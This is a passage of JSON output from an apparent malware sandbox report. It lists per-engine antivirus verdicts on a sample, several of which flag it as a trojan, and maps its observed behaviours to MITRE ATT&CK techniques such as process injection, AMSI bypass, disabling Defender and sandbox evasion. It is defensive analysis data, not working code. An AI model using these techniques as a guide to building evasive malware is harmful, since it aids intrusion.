":10,"total":406},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"QD:Trojan.GenericKDQ.AFEF77D0FD","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"QD:Trojan.GenericKDQ.AFEF77D0FD (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/GenCBL.FIY trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"malicious","threat_name":"VHO:TrojanDrop.Convagent.gen.cazz","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Ransom.Win32.Wacatac.dd!n","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Generic!7A7CB49D1C9AFC46","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005bd18e1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.DelphGen.FZB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"QD:Trojan.GenericQ","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Executes WMI queries"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"},{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Able to access control system service controller"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Executes powershell with commandline"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Execution","technique":"Software Deployment Tools","attack_id":"T1072","attack_id_wiki":"https://attack.mitre.org/techniques/T1072","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Device Registration","attack_id":"T1098.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1098/005","identifiers":[{"type":"informative","value":"Contains ability to register device notification handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Contains ability to set/delete MS-DOS device name (API string)"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"type":"informative","value":"References user shell folders registry key string"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"},{"type":"informative","value":"Possible DLL sideloading"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to create a remote thread (API string)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Contains a Wine emulator-related string"},{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains key cryptographic functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Contains ability to modify file system redirection"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Able to decompress files using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"},{"type":"informative","value":"Contains ability to retrieve information set for devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Contains ability to detect presence of virtual environment (API string)"},{"type":"informative","value":"Able to identify sandbox environment running process"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"malicious","value":"The input sample is signed with an invalid certificate"},{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match - PE executable embedded in .rsrc section"},{"type":"malicious","value":"PE file contains executable resources"},{"type":"suspicious","value":"Section contains high entropy"},{"type":"informative","value":"YARA signature match - Embedded PDF document"},{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API 